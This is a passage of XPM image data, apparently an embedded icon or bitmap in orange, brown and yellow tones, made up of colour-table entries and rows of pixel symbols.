+"{!. c #DB7E00", +"]!. c #D26700", +"^!. c #F4E000", +"/!. c #E9BA00", +"(!. c #D06000", +"_!. c #CF6100", +":!. c #F3E100", +"~. c #D26200", +",~. c #BC3800", +"'~. c #EFCF00", +")~. c #C04000", +"!~. c #D66001", +"~~. c #D07421", +"{~. c #FFD4B1", +"]~. c #5C2B1A", +"^~. c #62301A", +"/~. c #D77628", +"(~. c #FFA618", +"_~. c #F3AD06", +":~. c #F3A706", +"<~. c #F3A806", +"[~. c #F3A906", +"}~. c #F3AA06", +"|~. c #F3AB06", +"1~. c #F4AC06", +"2~. c #F4AD06", +"3~. c #F4AE06", +"4~. c #F4AF06", +"5~. c #EFA705", +"6~. c #E99E05", +"7~. c #E39505", +"8~. c #D37204", +"9~. c #E2A804", +"0~. c #FFFF04", +"a~. c #F8DE04", +"b~. c #E19005", +"c~. c #EB9E05", +"d~. c #F2AB05", +"e~. c #F5B106", +"f~. c #F6B206", +"g~. c #F6B106", +"h~. c #F7B206", +"i~. c #F4AE05", +"j~. c #F0A505", +"k~. c #E89505", +"l~. c #F0C105", +"m~. c #EFC304", +"n~. c #D97504", +"o~. c #E79605", +"p~. c #EDA005", +"q~. c #F1A805", +"r~. c #F6AD05", +"s~. c #F7B006", +"t~. c #F7AF06", +"u~. c #F6AA05", +"v~. c #F2A305", +"w~. c #F4C105", +"x~. c #FADD05", +"y~. c #FDF004", +"z~. c #FCEF04", +"A~. c #F2CE04", +"B~. c #FDF104", +"C~. c #F8E104", +"D~. c #D77304", +"E~. c #DA6E04", +"F~. c #F3CD04", +"G~. c #F0BD05", +"H~. c #E37F05", +"I~. c #F7D605", +"J~. c #F2BC05", +"K~. c #E47C05", +"L~. c #E78A05", +"M~. c #ECA005", +"N~. c #FCE605", +"O~. c #E38505", +"P~. c #DD6C05", +"Q~. c #E79F04", +"R~. c #F5D404", +"S~. c #DA6F05", +"T~. c #F4CD05", +"U~. c #E99F05", +"V~. c #DF7105", +"W~. c #E47F05", +"X~. c #DF7005", +"Y~. c #F8D805", +"Z~. c #F4BF05", +"`~. c #E47105", +" {. c #EC8705", +".{. c #EF8B05", +"+{. c #F28F06", +"@{. c #F38E06", +"#{. c #F28D06", +"${. c #F18D06", +"%{. c #F18B06", +"&{. c #EF8705", +"*{. c #EB8105", +"={. c #EA8F05", +"-{. c #E16B05", +";{. c #F2BB05", +">{. c #F2B705", +",{. c #E06205", +"'{. c #E87A05", +"){. c #E97A05", +"!{. c #E57505", +"~{. c #DD6D05", +"{{. c #CC4A04", +"]{. c #DA9104", +"^{. c #FFF804", +"/{. c #F5D604", +"({. c #CD5504", +"_{. c #E0660A", +":{. c #DE7C25", +"<{. c #7D451B", +"[{. c #4D2020", +"}{. c #FEB378", +"|{. c #FFDEC5", +"1{. c #CF6505", +"2{. c #663217", +"3{. c #5A2A1D", +"4{. c #BA6A1C", +"5{. c #F18928", +"6{. c #E58326", +"7{. c #E48226", +"8{. c #E48126", +"9{. c #E38126", +"0{. c #DE7E25", +"a{. c #D57923", +"b{. c #CC7421", +"c{. c #C36F20", +"d{. c #B75F1E", +"e{. c #BD6F1F", +"f{. c #C88020", +"g{. c #CD7921", +"h{. c #D57723", +"i{. c #E38226", +"j{. c #DF8025", +"k{. c #D87A24", +"l{. c #D07822", +"m{. c #CD8421", +"n{. c #C3751F", +"o{. c #BC621F", +"p{. c #C46D20", +"q{. c #CD7721", +"r{. c #D67A23", +"s{. c #DD7E25", +"t{. c #E07F25", +"u{. c #DC7B25", +"v{. c #D78023", +"w{. c #D48A22", +"x{. c #CC8620", +"y{. c #C1791F", +"z{. c #BC761E", +"A{. c #BD821D", +"B{. c #B6741D", +"C{. c #B0621D", +"D{. c #B8651E", +"E{. c #C27020", +"F{. c #C57520", +"G{. c #C77020", +"H{. c #CD7521", +"I{. c #CD7422", +"J{. c #D07622", +"K{. c #CF7522", +"L{. c #CD7421", +"M{. c #CC7821", +"N{. c #CB7421", +"O{. c #C76F21", +"P{. c #C47220", +"Q{. c #C56E20", +"R{. c #C77420", +"S{. c #C77121", +"T{. c #CB7321", +"U{. c #CE7422", +"V{. c #CD7221", +"W{. c #CE7621", +"X{. c #D27822", +"Y{. c #D67823", +"Z{. c #DA7B24", +"`{. c #DF7E25", +" ]. c #E38026", +".]. c #E17E25", +"+]. c #DD7C25", +"@]. c #D87923", +"#]. c #D47623", +"$]. c #D27922", +"%]. c #D67723", +"&]. c #DB7B24", +"*]. c #D77823", +"=]. c #C36D20", +"-]. c #B36B1D", +";]. c #B96E1E", +">]. c #C26D1F", +",]. c #D77824", +"']. c #CA741D", +")]. c #6E381B", +"!]. c #52241D", +"~]. c #AE4D00", +"{]. c #FFBE8D", +"]]. c #FFF9F5", +"^]. c #EA832C", +"/]. c #7E3C07", +"(]. c #471A25", +"_]. c #552125", +":]. c #66321C", +"<]. c #7D411A", +"[]. c #7D3F1D", +"}]. c #7B3F1D", +"|]. c #7B3E1D", +"1]. c #7A3E1D", +"2]. c #773D1C", +"3]. c #733B1B", +"4]. c #703A1B", +"5]. c #6C371A", +"6]. c #692F1A", +"7]. c #6B301B", +"8]. c #71391B", +"9]. c #753C1C", +"0]. c #783C1D", +"a]. c #793D1D", +"b]. c #763D1C", +"c]. c #6E331B", +"d]. c #6A301A", +"e]. c #6C361A", +"f]. c #703B1B", +"g]. c #763C1C", +"h]. c #793E1D", +"i]. c #783D1C", +"j]. c #74391C", +"k]. c #6F331B", +"l]. c #6B301A", +"m]. c #662E19", +"n]. c #642C19", +"o]. c #632C19", +"p]. c #622C19", +"q]. c #642F19", +"r]. c #6B391A", +"s]. c #6E3B1A", +"t]. c #6E341B", +"u]. c #70371B", +"v]. c #723D1B", +"w]. c #71351B", +"x]. c #72391B", +"y]. c #743E1C", +"z]. c #733D1C", +"A]. c #723A1B", +"B]. c #70341B", +"C]. c #713B1B", +"D]. c #713D1B", +"E]. c #6E371B", +"F]. c #6D331B", +"G]. c #703C1B", +"H]. c #70391B", +"I]. c #733D1B", +"J]. c #743D1B", +"K]. c #743E1B", +"L]. c #71361B", +"M]. c #73391C", +"N]. c #77401C", +"O]. c #783F1C", +"P]. c #79401D", +"Q]. c #7B411D", +"R]. c #7C411D", +"S]. c #773F1C", +"T]. c #76411C", +"U]. c #77411C", +"V]. c #78401C", +"W]. c #79401C", +"X]. c #743F1C", +"Y]. c #713F1B", +"Z]. c #6B371A", +"`]. c #652D19", +" ^. c #683119", +".^. c #703E1A", +"+^. c #77421A", +"@^. c #582422", +"#^. c #4C1A28", +"$^. c #603118", +"%^. c #FFD9BD", +"&^. c #FBAF77", +"*^. c #B64B00", +"=^. c #572D1A", +"-^. c #491925", +";^. c #481924", +">^. c #491924", +",^. c #471924", +"'^. c #431822", +")^. c #451923", +"!^. c #481923", +"~^. c #461922", +"{^. c #4B1A28", +"]^. c #4B2220", +"^^. c #974500", +"/^. c #F08531", +"(^. c #FFF6F2", +"_^. c #F38532", +":^. c #B14B00", +"<^. c #6B3713", +"[^. c #4E211F", +"}^. c #4F221F", +"|^. c #4D211E", +"1^. c #4B201D", +"2^. c #4D201F", +"3^. c #51241D", +"4^. c #603119", +"5^. c #E46701", +"6^. c #FFDDC7", +"7^. c #FFF1EA", +"8^. c #F89953", +"9^. c #D76501", +"0^. c #B65100", +"a^. c #A24600", +"b^. c #F0832E", +"c^. c #FFD9C1", +"d^. c #FFDCC5", +"e^. c #FEB57B", +"f^. c #FEB67D", +"g^. c #FEB77F", +"h^. c #FEB87F", +"i^. c #FDB479", +"j^. c #FFBF8E", +"k^. c #FFD4B5", +"l^. c #FFFBFB", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . + @ # $ % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % & * = - . . . . . . ", +" . . . . ; > , ' ) ! ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ { ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ] ^ / ( _ . . . . . ", +" . . . . ; : < [ } | 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 | 3 3 4 3 5 1 1 1 1 2 2 1 | | 3 3 6 | 1 1 1 1 | | 6 6 | 1 1 2 1 1 1 1 1 1 1 1 1 1 1 2 1 1 | | | 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 8 9 0 a b . . . . ", +" . . . . c d e f g h i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i j j k l m m n m k o j i i i p k k q q q k k r r r o o k q q q k r i i i i i i i i i i i i p o k k k k o j i i i i i i i i i i i i i i i p g i s t u v . . . ", +" . . . w x y z A B C D E E E E E E E F F F F F F F F F G G G G G G G G G G G G G H H H H H H H I J K L M N N O P Q R S T T U V W X Y Z ` Z L X X . X .. +. @. Z #. X $. J S H %. %. %. %. %. %. &. &. *. =. -. Q ;. >. ,. '. ). &. !. !. !. !. !. !. !. !. !. ~. ~. C C C {. ]. ^. /. (. _. :. . . . . ", +". . . . <. [. }. |. 1. 2. 3. 4. 5. 5. 6. 6. 6. 6. 6. 6. 6. 6. 6. 6. 5. 6. 6. 7. 6. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 8. 9. 0. a. b. c. d. e. b. a. f. g. h. i. j. k. f. l. m. n. o. p. q. r. s. t. t. m. u. v. w. x. o. y. z. A. B. h. 8. 7. C. D. 7. C. C. E. F. G. H. I. J. K. L. M. g. N. O. O. P. P. O. Q. D. R. R. R. S. S. S. R. 3. T. U. V. W. ! X. . . . . ", +". . . . Y. Z. `. h + .+ ++ @+ #+ $+ %+ &+ *+ =+ -+ ;+ >+ ,+ '+ )+ !+ ~+ {+ ]+ ^+ /+ (+ _+ :+ <+ [+ }+ |+ 1+ 2+ 3+ 4+ 5+ 6+ 7+ 8+ 9+ 0+ a+ b+ c+ d+ e+ f+ g+ h+ i+ j+ k+ l+ m+ m+ m+ n+ o+ p+ q+ r+ s+ r+ t+ u+ v+ w+ x+ y+ z+ A+ B+ C+ D+ E+ F+ G+ H+ I+ J+ K+ L+ M+ N+ O+ P+ Q+ R+ S+ T+ U+ V+ W+ X+ Y+ Z+ `+ @ .@ +@ @@ #@ $@ %@ &@ *@ =@ -@ ;@ >@ ,@ '@ )@ !@ r ~@ {@ ]@ . . . . ", +". . . . ^@ /@ (@ g _@ :@ <@ [@ }@ |@ 1@ 2@ 3@ 4@ 5@ 6@ 7@ 8@ 9@ 0@ a@ b@ c@ d@ e@ f@ g@ h@ i@ j@ k@ l@ m@ n@ o@ p@ q@ r@ s@ t@ u@ v@ w@ x@ y@ z@ A@ B@ C@ D@ E@ F@ G@ H@ I@ J@ K@ L@ M@ N@ O@ P@ Q@ R@ S@ T@ U@ V@ W@ X@ Y@ Z@ `@ # .# C@ +# @# ## $# %# &# *# =# -# ;# ># ,# '# )# !# ~# {# ]# ^# /# (# _# :# <# [# }# |# 1# 2# 3# 4# 5# 6# 7# 8# 9# 0# a# b# c# d# e# f# g# . . . . ", +". . . . h# i# j# g _@ k# l# m# n# o# p# q# r# s# t# u# v# w# x# y# z# A# B# C# D# E# F# G# H# I# J# K# L# M# N# O# P# Q# R# S# T# U# V# W# X# Y# Z# `# $ .$ +$ @$ #$ $$ %$ &$ *$ =$ -$ ;$ >$ ,$ '$ )$ !$ ~$ {$ ]$ ^$ /$ ($ _$ :$ <$ [$ }$ |$ 1$ 2$ 3$ 4$ 5$ 6$ 7$ 8$ 9$ 0$ a$ b$ c$ d$ e$ f$ g$ h$ i$ j$ k$ l$ m$ n$ o$ p$ q$ r$ s$ t$ u$ v$ w$ x$ y$ z$ A$ B$ C$ d# e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# F$ G$ H$ I$ J$ K$ L$ M$ N$ t# u# O$ P$ x# y# z# A# Q$ R$ S$ T$ F# G# U$ I# J# V$ L# W$ X$ N# Y$ Q# R# Z$ `$ % .% +% @% #% m@ $% %% &% *% =% -% ;% ;% >% ,% '% )% !% ~% {% ]% ^% /% (% _% :% <% [% }% |% 1% 2% 3% 4% 5% 6% 7% 8% 9% 0% a% b% 0$ a$ c% d% e% f% g% h% i% j% k% l% m% n% o% p% q% r% s% t% u% v% w% x% y% z% A% B% C% D% C$ E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# F% G% H% I% I$ J$ K$ L$ s# J% K% v# w# L% x# y# z# A# Q$ R$ S$ T$ F# G# H# I# J# V$ L# W$ X$ N# Y$ P# Q# M% N% O% P% Q% R% S% T% U% V% W% X% Y% Z% Z% `% & .& +& @& #& $& %& && *& =& -& ;& >& ,& '& )& !& ~& {& ]& ^& /& (& _& :& <& [& }& |& 1& 2& 3& 4& 5& 6& 7& 8& 9& 0& a& b& c& d& e& f& g& h& i& j& k& l& m& n& o& p& q& r& s& t& E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# u& v& w& H$ n# x& p# q# r# s# J% K% v# w# L% y& z& A& B& Q$ R$ S$ T$ F# G# U$ I# C& V$ L# W$ M# N# O# Y$ D& E& F& G& H& I& J& K& L& M& N& O& P& P& Q& R& S& T& U& V& W& X& Y& Z& `& * .* +* @* #* $* %* &* ** =* -* ;* >* ,* o@ '* )* !* ~* {* ]* ^* /* (* _* :* <* [* }* |* 1* 2* 3* 4* 5* 6* 7* 8* 9* 0* a* b* c* d* e* f* g* h* i* j* E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# k* l* m* w& H$ n# x& p# L$ M$ s# J% K% v# w# L% y& z& A& A# Q$ R$ S$ E# F# G# U$ I# C& V$ K# L# M# X$ n* o* p* q* r* s* t* u* v* .% w* x* x* y* y* z* A* B* C* D* E* F* G* H* $% I* J* K* q@ L* -* M* N* O* P* Q* R* S* T* U* V* W* X* Y* Z* `* = .= += @= #= $= %= &= *= == -= ;= >= ,= '= )= != ~= {= ]= ^= /= (= _= := <= [= }= |= 1= 2= e# D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= 4= 5= 6= 7= H% I% 8= J$ K$ L$ M$ N$ t# u# O$ P$ L% y& 9= A& B& 0= R$ D# E# T$ a= U$ H# C& J# V$ L# W$ b= c= d= e= f= g= h= i= j= k= l= m= m= m= n= w* o= p= q= r= s= t= u= v= w= x= y= z= A= B= C= D= E= F= G= H= I= J= K= L= M= N= O= P= Q= R= S= T= U= V= W= X= Y= Z= `= - .- +- @- #- $- %- &- *- =- -- ;- >- ,- '- )- !- ~- {- ]- ^- /- e# D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= (- _- :- <- 7= H% [- 8= J$ K$ L$ M$ N$ t# u# O$ P$ }- |- 1- 2- 3- 4- 5- D# E# 6- 7- G# H# I# C& 8- K# 9- 0- a- b- c- d- e- f- g- h- i- j- k- k- l= l- m- n- o- p- P% q- q- r- s- t- u- v- w- x- y- z- A- B- C- D- E- F- G- H- I- J- K- L- M- N- O- P- Q- R- S- T- Z= U- V- W- X- Y- Z- `- [@ ; .; +; @; #; $; %; &; *; =; -; ;; >; ,; '; ); !; D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= ~; {; ]; 6= m* w& H$ n# x& p# q# r# M$ N$ ^; /; (; _; :; <; [; }; |; 1; 2; 3; 4; 5; 6; 7; 8; 9; 0; a; b; c; d; e; f; g; h; i; j; k; l; m; m; m; n; o; p; q; r; s; t; u; v; w; x; y; z; A; B; C; D; E; F; G; H; I; J; K; L; M; N; O; P; Q; R; S; T; U; V; W; X; Y; Z; `; > .> +> @> #> $> %> &> *> => -> ;> >> ,> '> )> !> ~> )- {> ]> ^> /> !; D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= (> _> :> ]; 6= m* w& H$ n# x& p# q# <> [> }> |> 1> 2> 3> 4> 5> 6> 7> 8> 9> 0> a> b> c> d> e> f> e> g> h> i> j> k> l> m> n> o> p> o* q> r> s> s> t> u> v> w> x> y> z> s- A> B> C> D> E> F> G> H> I> J> K> L> M> H; N> O> K; P> Q> R> S> T> U> V> W> X> Y> Z> `> , ., +, @, #, $, %, &, *, =, -, ;, >, ,, ', ), !, ~, {, ], ^, /, (, _, :, <, [, D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= }, |, 1, 2, :- 6= 7= w& I% n# o# 3, 4, 5, 6, 7, 8, 9, 0, a, b, c, d, e, f, g, h, i, j, k, l, e@ m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, A, B, C, D, E, F, G, s@ H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Y, Z, `, ' S> .' +' @' #' $' %' &' *' =' -' ;' >' ,' '' )' !' ~' {' ]' ^' /' (' _' :' <' [' }' |' 1' 2' 3' 4' 5' 6' f# E$ . . . . ", +". . . . h# i# j# g _@ 3= 7' 8' 9' 1, 2, :- <- 7= H% I% 0' a' b' c' d' e' f' g' h' i' j' k' l' m' n' o' p' q' r' s' t' u' v' w' x' y' z' A' B' C' D' E' F' G' H' I' I' J' b= K' L' M' N' O' P' Q' R' S' T' U' V' W' X' Y' Z' `' ) .) +) @) #) $) %) %) &) *) =) -) ;) >) ,) ') )) !) ~) {) ]) ^) /) () _) :) <) [) }) c* |) 1) 2) 3) 4) 5) 6) 7) 8) 9) 0) a) b) 4' 5' 6' f# E$ . . . . ", +". . . . h# i# j# g _@ 3= c) d) e) f) g) 2, :- <- 7= h) i) j) k) l) m) n) o) p) q) r) s) t) u) v) w) x) y) z) A) B) C) D) E) F) G) H) I) J) K) L) M) N) O) P) Q) R) S) S) T) T) H' U) A> V) W) X) Y) Z) `) ! .! +! @! #! $! %! &! *! =! -! ;! >! ,! '! )! !! ~! {! ]! ^! .' /! (! _! :! ~ ,~ '~ )~ !~ ~~ {~ ]~ ^~ /~ (~ _~ :~ <~ [~ }~ |~ 1~ 2~ 3~ 4~ 5~ 6~ 7~ 8~ 9~ 0~ a~ b~ c~ d~ e~ f~ g~ h~ i~ j~ k~ l~ m~ n~ o~ p~ q~ r~ s~ t~ u~ [, v~ E$ . . . . ", +". . . . h# i# j# g _@ l! w~ x~ y~ o! e) f) g) z~ A~ B~ C~ D~ E~ F~ G~ H~ I~ J~ K~ L~ M~ g' N~ O~ P~ Q~ R~ S~ T~ U~ V~ W~ X~ Y~ Z~ `~ { .{ +{ @{ #{ ${ %{ &{ *{ ={ -{ ;{ ;{ >{ n@ ,{ '{ ){ !{ ~{ {{ ]{ ^{ /{ ({ _{ :{ <{ [{ }{ |{ 1{ 2{ 3{ 4{ 5{ 6{ 7{ 8{ 9{ 0{ a{ b{ c{ d{ e{ f{ g{ h{ i{ j{ k{ l{ m{ n{ o{ p{ q{ r{ s{ t{ u{ v{ w{ x{ y{ z{ A{ B{ C{ D{ E{ F{ G{ H{ [, f# E$ . . . . ", +". . . . h# i# j# g I{ J{ K{ L{ M{ N{ O{ e) f) g) P{ Q{ R{ S{ T{ U{ V{ W{ X{ Y{ Z{ `{ ] .] +] @] #] $] %] &] *] =] -] ;] >] ,] '] )] !] ~] {] ]] ^] /] (] _] :] <] [] }] |] 1] 2] 3] 4] 5] ~{ {{ ]{ ^{ /{ 6] 7] 8] 9] 0] a] b] c] d] e] f] g] h] i] j] k] l] m] n] o] p] q] r] s] t] u] v] w] x] y] z] A] B] C] D] E] F] G] H] I] J] K] L] M] N] O] P] Q] R] S] T] U] !; D$ E$ . . . . ", +". . . . h# i# j# g I{ J{ V] W] X] M{ N{ O{ e) Y] Z] `] ^ .^ +^ 0) @^ #^ $^ %^ &^ *^ =^ -^ ;^ >^ ,^ '^ )^ Z= !^ ~^ {^ ]^ ^^ /^ (^ _^ :^ <^ [^ }^ |^ 1^ 2^ 3^ 4^ 5^ 6^ 7^ 8^ 9^ 0^ a^ b^ c^ d^ {{ e^ f^ g^ h^ i^ j^ k^ l^ m^ n^ o^ p^ q^ r^ s^ t^ u^ v^ w^ x^ y^ z^ A^ B^ C^ D^ E^ F^ G^ H^ I^ J^ K^ L^ M^ N^ O^ P^ Q^ R^ S^ T^ U^ V^ W^ X^ Y^ Z^ `^ / ./ +/ @/ #/ U] $/ D$ E$ . . . . ", +". . . . h# i# j# g I{ J{ %/ &/ */ X] M{ N{ =/ -/ ;/ >/ ,/ '/ )/ !/ ~/ {/ ]/ ^/ // (/ _/ :/ ( ,( '( )( X] M{ !( ~( {( ]( ^( /( (( _( :( <( [( }( /, |( 1( 2( 3( x! y! 4( 5( O$ 6( 7( 8( 9( 0( a( b( c( d( e( f( g( h( i( j( k( l( m( n( J' o( p( q( r( s( t( m/ %~ t( u( v( w( x( y( z( A( B( C( D( E( F( G( H( I( J( K( L( M( N( O( P( Q( R( S( T( U( V( W( X( Y( Z( `( _ ._ +_ @_ #_ $_ 0) %_ &_ *_ =_ -_ ;_ >_ ,_ '_ )_ !_ ~_ {_ U] $/ D$ E$ . . . . ", +". . . . h# i# j# g ]_ ^_ /_ (_ __ '( )( :_ <_ [_ }_ |_ 1_ 2_ 3_ 4_ 5_ 6_ 7_ 8_ 9_ 0_ a_ b_ c_ d_ x! e_ f_ g_ h_ i_ j_ e^ {{ k_ t( l_ m_ n_ o_ p_ q_ r_ s_ t_ u_ v_ w_ x_ y_ z_ A_ t( B_ C_ D_ E_ F_ G_ H_ I_ J_ K_ L_ M_ N_ x^ O_ P_ P_ Q_ R_ S_ T_ U_ V_ W_ X_ Y_ Z_ `_ : .: +: @: #: $: %: &: *: =: -: ;: >: ,: ': ): !: ~: {: ]: ^: /: (: _: :: <: [: }: |: 1: H{ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ 2: 3: 4: __ '( */ 5: 6: 7: 8: 9: 0: a: b: c: d: e: f: g: h: i: j: k: l: c_ m: n: o: p: q: r: s: t: u: v: w: x: y: z: A: B: C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: K_ V: W: X: Y: Z: `: < .< +< @< #< $< %< &< *< =< -< ;< >< ,< '< +: )< !< ~< {< ]< ^< /< (< _< :< << [< }< |< 1< 2< 3< 4< 5< 6< 7< 8< 9< 0< a< b< c< H{ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ d< e< f< 4: __ g< h< i< j< k< l< m< n< o< p< q< r< s< t< u< v< w< x< y< z< A< B< C< D< v: u: E< F< G< H< I< J< K< L< M< N< O< P< Q< R< S< T< U< V< q( W< X< Y< Z< `< [ .[ +[ @[ #[ $[ %[ >= &[ *[ %[ =[ -[ -[ ;[ >[ ,[ '[ )[ ![ ~[ {[ ][ ^[ /[ ([ J; _[ :[ <[ [[ }[ |[ 1[ 2[ 3[ 4[ 5[ 6[ 7[ d: 8[ 9[ 0[ a[ b[ c[ d[ e[ f[ g[ h[ i[ j[ k[ l[ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ m[ n[ o[ p[ 4: q[ r[ s[ t[ u[ v[ w[ x[ y[ z[ A[ B[ C[ D[ E[ F[ G[ H[ I[ J[ K[ L[ M[ N[ O[ P[ Q[ R[ S[ T[ U[ V[ W[ X[ Y[ Z[ `[ } .} +} @} #} $} %} &} *} =} -} ;} >} ,} '} )} !} ~} {} ]} ^} /} (} _} :} *' <} [} }} |} 1} 2} 3} 4} 5} 6} 7} 8} H; J; 9} 0} a} b} c} d} e} f} g} h} i} j} (( k} l} m} n} o} p} q} r} s} t} u} v} w} x} y} z} 6' f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ A} B} C} o[ f< D} E} F} G} H} I} J} K} L} M} N} O} P} Q} R} B~ S} F[ T} E~ U} V} W} X} Y} E< R[ Z} F< `} | .| +| @| #| $| %| &| *| =| -| ;| . >| ,| '| )| !| ~| {| ]| ^| /| (| _| :| <| [| }| || 1| 2| 3| 4| 5| 6| 7| 8| 9| 0| a| b| c| d| M> e| f| g| h| i| j| k| l| -; m| n| o| p| q| 3_ r| s| t| u| v| w| x| y| z| A| B| C| D| E| F| <, G| f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ H| I| J| C} o[ f< K| L| M| N| O| P| Q| R| S| T| U| V| W| X| Y| Z| `| 1 .1 +1 @1 #1 $1 %1 Q[ &1 Z} F< *1 =1 -1 R: ;1 >1 ,1 '1 )1 !1 ~1 {1 ]1 ^1 /1 (1 _1 :1 <1 G! [1 }1 |1 11 21 31 41 51 61 61 71 81 L> 91 01 a1 b1 c1 d1 e1 f1 g1 h1 i1 j1 L> k1 l1 m1 n1 o1 p1 q1 r1 s1 t1 D) u1 v1 3_ w1 x1 y1 z1 A1 B1 C1 D1 E1 F1 G1 H1 I1 J1 K1 L1 <, G| M1 E$ . . . . ", +". . . . h# i# j# g ]_ N1 O1 P1 Q1 J| C} R1 S1 T1 U1 V1 W1 X1 Y1 Z1 `1 2 .2 +2 @2 #2 $2 %2 &2 *2 =2 -2 ;2 >2 ,2 '2 )2 &1 Z} F< q( !2 ~2 {2 ]2 ^2 /2 (2 _2 :2 <2 $} [2 }2 |2 12 22 32 42 52 62 72 2/ 82 92 K: 02 a2 b2 S' c2 d2 e2 f2 g2 h2 i2 j2 k2 l2 m2 n2 M> o2 p2 M> q2 r2 s2 t2 u2 v2 w2 x2 %_ y2 z2 A2 B2 w1 C2 D2 E2 F2 G2 H2 I2 J2 K2 L2 M2 N2 O2 P2 Q2 R2 <, G| D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 S2 T2 U2 V2 J| W2 R1 X2 Y2 Z2 `2 3 .3 +3 @3 #3 $3 %3 &3 *3 =3 -3 ;3 >3 ,3 '3 )3 !3 K: s: Z} ~3 Z} {3 ]3 ^3 /3 (3 _3 :3 <3 [3 }3 |3 13 23 33 43 53 63 73 83 93 03 a3 b3 c3 d3 e3 f3 g3 h3 i3 j3 k3 l3 I> m3 n3 o3 p3 q3 r3 s3 t3 u3 v3 w3 x3 y3 z3 A3 B3 C3 D3 E3 F3 }< G3 H3 I3 B2 J3 K3 L3 M3 N3 O3 P3 Q3 R3 S3 T3 U3 V3 W3 X3 Y3 Z3 `3 <, G| D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 4 .4 +4 U2 @4 J| C} R1 #4 T1 $4 %4 &4 s[ *4 =4 -4 ;4 >4 ,4 '4 )4 !4 ~4 {4 /, ]4 ^4 /4 (4 _4 :4 <4 [4 }4 |4 14 24 34 44 54 64 74 84 94 04 a4 b4 c4 d4 e4 f4 g4 h4 i4 j4 k4 l4 m4 n4 t( o4 p4 q4 r4 s4 9( @! t( t4 u4 v4 w4 x4 y4 z4 M, A4 B4 C4 D4 E4 F4 G4 H4 I4 d: J4 K4 L4 w1 M4 N4 O4 P4 Q4 R4 S4 T4 U4 V4 W4 X4 Y4 Z4 `4 5 .5 +5 @5 <, 6' D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 #5 $5 %5 +4 &5 @4 *5 W2 =5 o[ -5 ;5 %4 >5 ,5 '5 )5 !5 ~5 {5 ]5 ^5 /5 (5 _5 :5 <5 [5 }5 Q[ :4 |5 Q[ L: 15 25 35 45 55 65 75 85 95 05 a5 b5 c5 d5 e5 f5 g5 h5 i5 j5 k5 l5 m5 n5 o5 p5 q5 r5 s5 t5 u5 v5 w5 e^ x5 y5 z5 A5 `} B5 C5 Q, D5 E5 F5 G5 H5 I5 J5 K5 L5 M5 (( N5 w1 J3 O5 P5 Q5 R5 S5 T5 U5 V5 W5 X5 Y5 Z5 `5 6 .6 +6 @6 #6 $6 %6 l[ [, D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 &6 *6 =6 %5 -6 &5 U2 ;6 >6 ,6 '6 )6 !6 ~6 {6 ]6 ^6 /6 (6 _6 :6 <6 [6 }6 |6 16 26 36 46 56 :4 _4 66 %} 76 86 96 06 a6 b6 c6 d6 e6 f6 04 g6 h6 i6 j6 k6 l6 m6 n6 o6 p6 q6 r6 s6 t6 u6 v6 w6 x6 y6 z6 A6 B6 F< C6 G< D6 E6 F6 G6 H6 M, d| I6 J6 K6 L6 M6 N6 O6 P6 k} Q6 J3 x[ R6 S6 T6 U6 V6 W6 X6 Y6 Z6 `6 7 .7 +7 @7 #7 $7 %7 &7 *7 =7 -7 H{ !; D$ E$ . . . . ", +". . . . h# i# j# g 